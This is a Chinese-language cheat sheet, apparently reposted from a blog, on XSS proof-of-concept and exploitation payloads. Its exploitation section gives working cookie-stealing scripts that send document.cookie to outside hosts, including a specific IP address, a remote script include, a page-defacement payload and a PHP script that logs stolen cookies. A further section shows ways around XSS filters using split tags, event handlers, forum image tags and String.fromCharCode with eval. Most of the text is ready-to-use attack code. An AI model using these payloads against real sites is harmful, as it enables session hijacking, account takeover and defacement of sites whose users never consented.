XSS漏洞的poc與exp


poc

  • <script>alert('xss')</script>  最簡單常用的poc
  • "><script>alert(1)<script>
  • <a href='' onclick=alert('xss')>type</a> 頁面出現一個按鈕type,點擊觸發onclick,然后執行彈窗
  • <img src=http://1.1.1.1/a.ipg onerror=alert('xss')> 加載圖片,給一個錯誤的圖片地址,錯誤則執行彈窗
  • <script>window.location=‘http://1.1.1.1'</script> 重定向到指定的url地址
  • <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe> 
  • onmouseover=alert(document.domain)    閉合屬性,構造on事件
  • onmousemove=alert(1)
  • <input type=”text ”  onfocus=prompt(1) autofocus>

    利用input的autofocus屬性,無需用戶交互即可觸發xss.

  • htmlspecialchars:輸入常用符號,看哪些符號沒被實體編碼。
  • 如輸入在herf或src里面:javascript:alert(1)
  • js輸出,輸入的數據由js變量接收,通過</script>閉合即可

exp

  • <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
    WEBSITE IS UNDER ATTACK</h1></div>";</script>

    • 篡改頁面,將頁面篡改為<h1></h1>里面顯示的文字
  • <script>new Image().src="http://yourhost/getcookie.php?
    cookie="+document.cookie;</script>

    • 將別人登錄的cookie信息捕獲到自己的服務器上
    • 自己的服務器上編寫一個接收cookie信息的php腳本getcookie.php
    • 此腳本將接收到的cookie信息寫入到自動創建的txt文本cookie.txt里面
  • <script>document.location='http://47.99.184.173/getcookie.php?cookie='+document.cookie;</script>
    • 與上一個獲取cookie信息的payload相似,相當於這是第二種獲取cookie信息的exp
  • <script src=http://1.1.1.1/a.js></script>
    • 自己服務器上a,js的源碼為:
    • var img = new Image();
      img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
    • 獲取cookie信息的第三種方式,這種方式的payload比較簡短,便於很好的利用。
    • 這種間接的方式,可以適用於所有的exp,將攻擊代碼放在服務器上的一個js文件里面,然后再漏洞點利用<script>訪問

附上一個簡短的getcookie.php腳本

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "w");
fwrite($log, $cookie ."\n");
fclose($log);
?>

 繞過方法

  • 利用js雙寫或者大些小繞過:<scscriptript>alert(1)</scrscriptipt>
  • 利用input彈窗
    ' oninput=alert`1` //
    ' oninput=alert`1` '
    ' onchange=alert`1` //
    ' onchange=alert`1` '
  • 利用鏈接彈窗(a標簽)<a href="javascript:alert(1)">click me</a> //

  • 利用html實體編碼繞過
  • 利用換行繞過
  1. 轉義字符:將xss語句轉換為含有“\”16進制或者8進制
    (工具地址:http://tools88.com/safe/xss.php)

  2. UBB標簽:UBB標簽是目前廣泛運用到論壇,留言簿,以及其他網站系統的一種編碼標簽,類似[img]url[/img]這樣的,用戶在中間輸入地址后即可,在發表的時候系統會自動改成<img src=”url”></img>。這個URL就是用戶輸入的圖片地址,XSS攻擊中,可以利用這個特點來達到無需用戶輸入<>就能執行由用戶所輸入的代碼,我們只要在輸入網址的地方輸入:
    x"/**/onerror="alert('poruin')
    • 那么經過轉換后就變成了<img src="x"/**/onerror="alert('poruin')"></img>

      在JS中空格可以用/**/轉換,如圖:

 

 

3.JS還原函數

JS中的編碼還原函數最常用的就是String.fromCharCode了,這個函數用於ascii碼的還原,一般來說,這個函數都要配合EVAL來使用才有效果。

在跨站中,String.fromCharCode主要是使到一些已經被列入黑名單的關鍵字或語句安全通過檢測,把關鍵字或語句轉換成為ASCII碼,然后再用String.fromCharCode還原,因為大多數的過濾系統都不會把String.fromCharCode加以過濾,例如關鍵字alert被過濾掉,那就可以這么利用:

<img src="x"/**/onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))"></img>

 

XSS過濾繞過速查表:https://www.freebuf.com/articles/web/153055.html

xss公共平台:http://xss.fbisb.com

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM